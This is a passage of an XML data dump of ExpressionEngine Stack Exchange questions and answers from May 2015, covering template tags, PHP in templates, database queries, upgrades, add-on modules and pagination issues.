&amp;lt;p&amp;gt;{email}&amp;lt;/p&amp;gt;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3668" LastEditorUserId="3668" LastEditDate="2015-05-09T18:04:21.370" LastActivityDate="2015-05-09T18:04:21.370" Title="$_POST to EE template not working as expected" Tags="|templates|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31404" PostTypeId="2" ParentId="27111" CreationDate="2015-05-08T23:08:18.727" Score="0" Body="&lt;p&gt;So as James commented above, this is not the best use of matrix.&#xA;When the website was planned and developed, there was no set idea of how many galleries would be needed per artist entry.  A rough estimate was 50, so in testing the performance was acceptable when using Matrix and Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the number of galleries per artist entry ballooned to the 150+, that is when performance really started hurting.  It worked, but not well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up building a system similar to what James suggested: I build a separate channel to hold the galleries and used relationships to tie them to the artist entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re-entering the images and categories for each gallery was out of the question, so I build a system to export the current galleries with needed info into a large xml template file and used the handy DataGrab add-on to bring the galleries back in as individual entries with all needed data intact.  I also looked at solspace Importer, but I was unable to import multiple images into an assets field.&lt;/p&gt;&#xA;" OwnerUserId="3866" LastActivityDate="2015-05-08T23:08:18.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31405" PostTypeId="1" CreationDate="2015-05-08T23:37:35.537" Score="-5" ViewCount="813" Body="&lt;p&gt;until today I ran EE 2.8.1 because I always avoid upgrading EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now again I tried to upgrade to the newest 2.10.x. I have about 15 Modules installed (mostly commercial), which I had to update. I downloaded EE 2.10. I made backups. I renamed folders. I set file permissions. And then, finally, running the update-wizard, I was told that the PHP-version on my server is just 5.3.7.x, 5.3.10... would be required, please contact your hosting provider. Ok. Turning everything back. On Monday I am going to contact my provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok - the updating-instructions are good and detailed. Taking backups makes sense. File permissions have to be set. I could have checked the required PHP-version before&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But always when upgrading it is required to make backups from everything, setting file-permission, renaming files, changing index.php and admin.php … This drives me crazy. Really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is this: Is updating EE a pain in the '*$/%§ or am I just too sensible?&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2018-04-19T19:12:55.603" Title="Is upgrading ExpressionEngine a big pain - or am I just a wimp?" Tags="|upgrade|updating|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31407" PostTypeId="2" ParentId="31405" CreationDate="2015-05-09T00:05:03.483" Score="2" Body="&lt;p&gt;As a developer, I take on huge projects that span months to years with an incredible amount of engineering involved. I just upgraded a site with 500k weekly hits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wasn't the easiest thing ever, but compared to the very complex things a good developer is capable of, it was a walk in the park. I'm afraid it's one of the tiniest fish in the pond of hard tasks. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-09T00:05:03.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31408" PostTypeId="1" AcceptedAnswerId="31432" CreationDate="2015-05-09T01:10:58.280" Score="1" ViewCount="43" Body="&lt;p&gt;Can anyone give me some advice on how I can add some specific content to a publish/edit screen? I'm specifically wondering if this is possible using hooks and an extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm hooking in to the &lt;code&gt;publish_form_entry_data&lt;/code&gt; hook and running some actions based on certain parameters. I'd like to push a notice to the publish/edit form depending on conditions in my extension (which I've already got working.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to push a notice to the publish/edit form from an extension?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6272" LastActivityDate="2015-05-11T12:54:13.263" Title="Adding to EE Publish/Edit Form" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31411" PostTypeId="2" ParentId="31403" CreationDate="2015-05-09T09:03:05.467" Score="4" Body="&lt;p&gt;Do you have PHP Parsing Stage on &quot;Input&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method='POST' action='gen_req'&amp;gt;&#xA;  &amp;lt;input id='input' name='uid' placeholder='uid' /&amp;gt;&#xA;  &amp;lt;button class='btn'&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;{exp:member:custom_profile_data member_id=&quot;&amp;lt;? echo ee()-&amp;gt;input-&amp;gt;post('uid', TRUE); ?&amp;gt;&quot;}&#xA;  &amp;lt;p&amp;gt;{email}&amp;lt;/p&amp;gt;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3845" LastActivityDate="2015-05-09T09:03:05.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31412" PostTypeId="2" ParentId="31401" CreationDate="2015-05-09T12:44:50.000" Score="0" Body="&lt;p&gt;So you need to either specify an entry URL title or an entry ID&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;blog_post&quot; url__title = &quot;{segment_x}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-05-09T12:44:50.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31413" PostTypeId="1" AcceptedAnswerId="31415" CreationDate="2015-05-09T18:51:48.887" Score="0" ViewCount="316" Body="&lt;p&gt;i am trying to find out how to search the cms database for a specific users username based on their user id and not based on logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any documentation links or advice would be great, have tried using various ways but ultimately i think query is the way but i am unsure of how to find a specific users username. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried this but i need to do this using the ee() classes in some way as i cannoe seem to define a php variable with the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT screen_name FROM exp_members WHERE member_id = '1' &quot;}&#xA;        {screen_name}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please advise and many thanks!&lt;/p&gt;&#xA;" OwnerUserId="3668" LastEditorUserId="3668" LastEditDate="2015-05-09T18:57:14.130" LastActivityDate="2015-05-10T04:40:14.317" Title="How do i search for a specific username by id" Tags="|query|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31415" PostTypeId="2" ParentId="31413" CreationDate="2015-05-10T04:40:14.317" Score="1" Body="&lt;p&gt;It would seem you want to do this with a php approach over using the exp:query because of some php variable you want to use with it?&#xA;If so, check out the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;Database Class Docs&lt;/a&gt; over in the EE documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we know that only one member will have an id of one, we can use a simple query like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = ee()-&amp;gt;db-&amp;gt;order_by('member_id')&#xA; -&amp;gt;limit(1)&#xA; -&amp;gt;get('exp_members');&#xA; -&amp;gt;where(array('exp_members.memberr_id'=&amp;gt; '1'));&#xA;&#xA;$first_member = $results-&amp;gt;row('screen_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5046" LastActivityDate="2015-05-10T04:40:14.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31416" PostTypeId="2" ParentId="31405" CreationDate="2015-05-10T04:51:00.340" Score="3" Body="&lt;p&gt;I wouldn't say it's a pain.  It certainly should be a planned event though. There was a great podcast about this a few months ago over on the Ctrl+Click podcast.  Check it out here: &lt;a href=&quot;http://ctrlclickcast.com/episodes/upgrading-ee&quot; rel=&quot;nofollow&quot;&gt;http://ctrlclickcast.com/episodes/upgrading-ee&lt;/a&gt;&#xA;I've upgraded 100's of Wordpress sites many times and probably about 50 EE sites.  Despite Wordpress having the one click update, I still cringe anytime I have to upgrade it.  With one click, you are always rolling the dice, and trust me I've lost that battle many times.  Even Drew Jaynes who just led up the 4.2 release said you're crazy if you don't upgrade your plugins, then deactivate them, backup your database, run the updater, then one by one reactivate plugins to test.  So in reality, if we are doing it correctly, there's little to no difference.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple keys to remember (in any CMS) is to plan for upgrade.  That means make sure any custom code you write isn't going to be affected by core updates (don't hack core), and use minimal plugins by people you know will support you and keep the plugins updates, backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that you don't have to copy files, rename, and change them back.  I rarely do this.  I just make sure I'm aware of what files I'm overwriting.  I also use a git workflow though, so if mess it up, I just go back in time.&lt;/p&gt;&#xA;" OwnerUserId="5046" LastActivityDate="2015-05-10T04:51:00.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31419" PostTypeId="1" CreationDate="2015-05-10T10:10:42.337" Score="0" ViewCount="72" Body="&lt;p&gt;Banned by my own cPanel ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I wished to delete some members email addreess's for spamming. This seemd to go OK and when I &lt;/p&gt;&#xA;&#xA;&lt;p&gt;searched for the banned email address it was no longer found. But, I also tried to change the default &lt;/p&gt;&#xA;&#xA;&lt;p&gt;website that people are redirected to if they are from a banned ISP. It currently defaults to Yahoo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was presented with the error message below, and no change was made. Can anyone help ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forbidden&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have permission to access /admin.php on this server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the &lt;/p&gt;&#xA;&#xA;&lt;p&gt;request.&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2015-05-10T10:10:42.337" Title="Banned by my own cPanel?" Tags="|banned|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31420" PostTypeId="1" CreationDate="2015-05-10T16:13:50.600" Score="0" ViewCount="48" Body="&lt;p&gt;Iam having a dropdown field with fixed options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s say it is {fruits} with options Apple, Pineapple, Banana and Orange&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to output how many channel entries are there corresponding to each option, next to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &#xA;Apple (10)&#xA;Pineapple (20)&#xA;Banana (5)&#xA;Orange (15)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have guessed there are a total of 50 rows for the field {fruits}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2341" LastEditorUserId="2341" LastEditDate="2015-05-11T02:19:41.573" LastActivityDate="2015-05-11T03:56:24.930" Title="Field Value Count" Tags="|ee2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31421" PostTypeId="1" AcceptedAnswerId="31437" CreationDate="2015-05-10T19:36:15.983" Score="1" ViewCount="147" Body="&lt;p&gt;I am getting a PHP Error, when I go to publish &gt; Channel(name). I have this assigned to what I call the 'master' field group (master) it has 15 fields. I set up a test field group and assigned it to the channel and NO ERROR message. Can I fix this without rebuilding the master field group? I can not find out if there is a limited to the Number of field group I can have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are the 3 PHP Error I get:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;Message: Undefined offset: 0&#xA;Filename: models/grid_model.php&#xA;Line Number: 496&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA; Message: Cannot modify header information - headers already sent by (output    started at /home/jbreen/dev-sbco/sbco/codeigniter/system/core/Exceptions.php:170)&#xA; Filename: core/Common.php&#xA; Line Number: 475&#xA;&#xA;A Database Error Occurred&#xA;&#xA;Error Number: 1054&#xA;Unknown column 'col_id_' in 'order clause'&#xA;SELECT * FROM (`exp_channel_grid_field_15`) WHERE `entry_id` IN (0) ORDER BY `col_id_` asc&#xA;Filename: models/grid_model.php&#xA;Line Number: 413&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2015-05-10T20:18:48.830" LastActivityDate="2015-06-25T16:24:26.930" Title="PHP Error with Channel Field Group" Tags="|channel|custom-fields|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31422" PostTypeId="1" CreationDate="2015-05-10T21:32:11.820" Score="0" ViewCount="92" Body="&lt;p&gt;ExpressionEngine (pre 2.7.2) used to have an issue where it would start outputting p tags around normal text fields that have default formatting set to &quot;None&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very-temporary fix (which still works) is in the answer here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14379/why-is-text-formatting-none-wrapping-p-tags-around-my-text&quot;&gt;Why is Text Formatting: None wrapping &amp;lt;p&amp;gt; tags around my text?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This bug has returned on a website we have running EE 2.9.2 and keeps breaking functionality on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else noticed the return of this issue? Or does anyone have a fix?&lt;/p&gt;&#xA;" OwnerUserId="2153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-05-10T21:32:11.820" Title="Text field with formatting &quot;None&quot; being wrapped in &lt;p&gt; tags EE2.9.2" Tags="|text-formatting|formatting|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31424" PostTypeId="2" ParentId="31420" CreationDate="2015-05-11T03:56:24.930" Score="1" Body="&lt;p&gt;Try this? (Not going to be next to an EE install for a few days, can't test):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;There are&#xA;{exp:query sql=&quot;SELECT field_id_X as fruit, COUNT(fruit) FROM exp_channel_data GROUP BY fruit&quot; backspace=&quot;2&quot;}&#xA;{count} {fruit}(s), &#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you just have to replace field_id_X with the field name from your exp_channel_data table that corresponds to that field.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-11T03:56:24.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31425" PostTypeId="1" AcceptedAnswerId="31451" CreationDate="2015-05-11T04:06:52.810" Score="1" ViewCount="329" Body="&lt;p&gt;I have created a template that outputs my XML Sitemap dynamically (via Channel entry loop). Currently, it's in &lt;code&gt;commmon/sitemap.xml&lt;/code&gt;. How do I tell EE that whenever &lt;code&gt;http://somedomain.com/sitemap.xml&lt;/code&gt; is accessed, it should output &lt;code&gt;commmon/sitemap.xml&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-05-12T09:09:05.103" Title="How to make sitemap template accessible from root?" Tags="|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31426" PostTypeId="1" CreationDate="2015-05-11T04:08:46.190" Score="0" ViewCount="45" Body="&lt;p&gt;I have a notification that I want to send out every day, I am using mail chimp and I have the list selected that I want to send to but no matter what values I put in the post date field or any of the three date fields, it still won't send. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or advice would be great as to what values to put in what specific field in order to send the email out every day&lt;/p&gt;&#xA;" OwnerUserId="6243" LastActivityDate="2015-05-11T04:08:46.190" Title="Postmaster Notification Not sending" Tags="|postmaster|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31427" PostTypeId="2" ParentId="18379" CreationDate="2015-05-11T06:10:29.537" Score="0" Body="&lt;p&gt;As nick says, most reliable is a real crontab on the server that calls a (hidden) template on your site. You can use any plugin, sql-query or calls in that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;However&lt;/em&gt;&lt;/strong&gt;, your original question includes checking the expiration_date for certain entries. There is a (free) extension and module called &lt;strong&gt;Scheduled-trigger&lt;/strong&gt;. It adds the missing feature of triggering a hook when an entry is about to become live (entry_date reached) or when it expires (expiration date reached). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scheduled trigger will call the entry_submission hook (or a customised hook) which your own extension can hang onto to do stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not affiliated with the add-on, however i did contribute to it ;-)&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/caddis/scheduled-trigger&quot; rel=&quot;nofollow&quot;&gt;https://github.com/caddis/scheduled-trigger&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2015-05-11T06:10:29.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31428" PostTypeId="2" ParentId="31425" CreationDate="2015-05-11T07:54:14.613" Score="0" Body="&lt;p&gt;I've used &lt;a href=&quot;https://github.com/rsanchez/resource_router&quot; rel=&quot;nofollow&quot;&gt;resource router&lt;/a&gt; by Sanchez. I expect you could do something similar with EE template routes too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could look at modifying your htaccess rules.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-05-11T07:54:14.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31429" PostTypeId="1" AcceptedAnswerId="31448" CreationDate="2015-05-11T08:15:47.323" Score="0" ViewCount="58" Body="&lt;p&gt;I'm having a bit odd issue with channel:entry tag when using it inside friends:mine loop.&#xA;Have tried both ways, using channel:entry tag within and embedded.&#xA;When using entry tag within friends:mine it shoots entries if available but no_results does not work.&#xA;When I use it via embed, it then does not parse friends_member_id and all friends gets &quot;no results&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:friends:mine reciprocal=&quot;y&quot; orderby=&quot;screen_name&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    ...some common html and friends single variables here...&#xA;&#xA;    {exp:channel:entries channel=&quot;luontopalvelut&quot; author_id=&quot;{friends_member_id}&quot; status=&quot;closed|open|featured|premium&quot; dynamic=&quot;no&quot; limit=&quot;15&quot; disable=&quot;pagination&quot;}&#xA;&#xA;        ....channel entry title and other stuff....&#xA;&#xA;        {if no_results}blaa that does not parse when there is no entries for the this member{/if}&#xA;    {/exp:channel:entries}&#xA;&#xA;    ...yet some html....&#xA;&#xA;    {if friends_no_results}&amp;lt;li&amp;gt;No available contacts for this person yet.&amp;lt;/li&amp;gt;{/if}&#xA;&#xA;    {friends_paginate}&amp;lt;li&amp;gt;Page {friends_current_page} / {friends_total_pages} page{if friends_total_pages &amp;gt; &quot;1&quot;}s{/if}{if friends_pagination_links} &amp;amp;nbsp; | &amp;amp;nbsp; {friends_pagination_links}{/if}&amp;lt;/li&amp;gt;{/friends_paginate}&#xA;&#xA;{/exp:friends:mine}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the channel entry tag via embed gives no results to all (because the &lt;code&gt;author_id=&quot;friends_member_id&lt;/code&gt; does not parse, and using the channel entry straight inside friends:mine stops no_results variable from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="1100" LastEditDate="2015-05-11T10:01:47.297" LastActivityDate="2015-05-12T06:57:18.957" Title="Issue with no results variable using Friends Module" Tags="|channel-entries|solspace-friends|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31430" PostTypeId="2" ParentId="31429" CreationDate="2015-05-11T10:04:25.293" Score="0" Body="&lt;p&gt;You look to be having a parse order issue, try adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to your &lt;code&gt;{exp:friends:mine}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this answer for more in depth about parse order : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11305/using-plugin-tags-within-channel-tags&quot;&gt;Using Plugin Tags Within Channel Tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try echoing out &lt;code&gt;{friends_member_id}&lt;/code&gt; just to ensure you're getting at least one good member ID, and of course check you have a 'recipricated' friend!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1 : Even Embedded Templates dont work?!?!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused by your last comment, you seem to be implying that while member ID's are populated they are not droperly populated / parsed wayyyy later than they should be? Particularly the embeds, because embeds are parsed much later than most things they are useful for these cases, can you confirm the below example please:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:friends:mine reciprocal=&quot;y&quot; dynamic=&quot;no&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;Inside the friends lop member ID is : {friends_member_id}&amp;lt;/p&amp;gt;&#xA;{embed=&quot;test/template&quot; passedId=&quot;{friends_member_id}&quot;}&#xA;&#xA;{/exp:friends:mine}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a much simplified version, inside the &lt;code&gt;test/template&lt;/code&gt; template (put it where you will) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Php ON : Input&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $passedStr = &quot;{embed:passedId}&quot;; ?&amp;gt;&#xA;&amp;lt;?php $passedStr = str_replace(array('{','}'), array(&quot;&amp;amp;#123;&quot;,&quot;&amp;amp;#125;&quot;), $passedId);&#xA;&amp;lt;p&amp;gt;The ID passed to an embedded template is : &amp;lt;?php echo $passedStr; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What we are doing here is testing the parse order, what we expect is (assuming the friend is ID of 11 &amp;amp; 12) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Inside the friends lop member ID is : 11&#xA;The ID passed to an embedded template is : 11&#xA;Inside the friends lop member ID is : 12&#xA;The ID passed to an embedded template is : 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if we are getting any sort of tags displayed on the output, please share what you get, it will indicate where the parse order much up is...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-05-11T11:18:07.207" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31431" PostTypeId="1" CreationDate="2015-05-11T10:41:14.490" Score="0" ViewCount="101" Body="&lt;p&gt;I am working on an Expressionengine site at the moment, the client would like the ability to choose if there's a custom phone number in the sidebar of the page and if non is entered it just shows the default GV phone number. I have added the channel fields to each page and written a conditional statement but can't get it to work. My statement looks like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if get_in_touch_jobs_phone}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_jobs_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;  {if:elseif get_in_touch_media_phone}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_media_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;  {if:elseif get_in_touch_pages_phone}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_pages_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;  {if:elseif get_in_touch_staff_phone}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_staff_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;  {if:elseif get_in_touch_volunteering_phone}&#xA;    &amp;lt;p&amp;gt;{get_in_touch_volunteering_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;  {if:else}&#xA;    &amp;lt;p&amp;gt;{gv-global-telephone}&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make the statement go through each pages custom phone field and check if it is there, if not it should move to the next statement and check if anything's there until it reaches the 'catch-all' else of using the global phone number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason this code always outputs the global phone number even if the custom phone field has been filled out, so I presume my elseif's syntax is not quite right, could anybody give me some advice/pointers as what I can do to get this working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have now got this code which is working much closer to what I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain pages won't take the custom numbers entered and will just show the global number even if there is a custom number set on a page, here is the code at the moment;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries limit=&quot;1&quot;}&#xA;&#xA;      {if get_in_touch_jobs_phone}&#xA;        &amp;lt;p&amp;gt;{get_in_touch_jobs_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;      {if:elseif get_in_touch_media_phone}&#xA;        &amp;lt;p&amp;gt;{get_in_touch_media_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;      {if:elseif get_in_touch_pages_phone}&#xA;        &amp;lt;p&amp;gt;{get_in_touch_pages_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;      {if:elseif get_in_touch_staff_phone}&#xA;        &amp;lt;p&amp;gt;{get_in_touch_staff_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;      {if:elseif get_in_touch_volunteering_phone}&#xA;        &amp;lt;p&amp;gt;{get_in_touch_volunteering_phone}&amp;lt;br /&amp;gt;&#xA;&#xA;      {if:else}&#xA;        &amp;lt;p&amp;gt;{gv-global-telephone}&amp;lt;br /&amp;gt;      &#xA;      {/if}&#xA;&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6129" LastEditorUserId="6129" LastEditDate="2015-05-11T11:52:17.393" LastActivityDate="2016-06-23T13:11:21.030" Title="Conditional statement syntax" Tags="|conditionals|variable|ifelse|syntax|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31432" PostTypeId="2" ParentId="31408" CreationDate="2015-05-11T12:54:13.263" Score="2" Body="&lt;p&gt;I've found that either using &lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_head('cssurlhere');&lt;/code&gt; or &lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('jsurlhere);&lt;/code&gt; allows me to modify the form when used with the &lt;code&gt;publish_form_entry_data&lt;/code&gt;hook.&lt;/p&gt;&#xA;" OwnerUserId="6272" LastActivityDate="2015-05-11T12:54:13.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31433" PostTypeId="1" AcceptedAnswerId="31468" CreationDate="2015-05-11T13:04:00.813" Score="0" ViewCount="66" Body="&lt;p&gt;FreeForm pagination only works if the entry results of the form is MORE than the limit. If the results are not greater than the limit i get a loop of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: I have a total of only 5 entries in the form.. however in due time there will be more...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i limit to 10... I would expect to see no pagination links until my results exceeds 10. At the moment though i get a continuous loop of the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:paginate}&#xA;Page {freeform:current_page}&#xA;of {freeform:total_pages}&#xA;pages &amp;amp;nbsp;&#xA;{freeform:pagination_links}&#xA;{/freeform:paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i set my limit to for example.. &quot;2&quot; the paginaiton works perfectly (because i have more entries than &quot;2&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on this, thanks.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-05-12T18:28:11.733" Title="FreeForm Entries Pagination Not Working" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31434" PostTypeId="1" AcceptedAnswerId="31436" CreationDate="2015-05-11T13:58:30.970" Score="1" ViewCount="71" Body="&lt;p&gt;I'm using exp:user:register, the group_id parameter (&lt;a href=&quot;https://www.solspace.com/docs/user/register/#group_id&quot; rel=&quot;nofollow&quot;&gt;https://www.solspace.com/docs/user/register/#group_id&lt;/a&gt;), but it's being ignored. I see in the documentation that &quot;This parameter respects native EE account activation settings,&quot; so does this mean I can't set group_id as long as I have email activation set? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE Member Preferences, there's &quot;Default Member Group Assigned to New Members&quot; that is being used instead. But I'd like to override this using exp:user:register. Possible?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2015-05-11T15:30:30.947" Title="Solspace User - Can registration form have group specified w/email activation?" Tags="|solspace|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
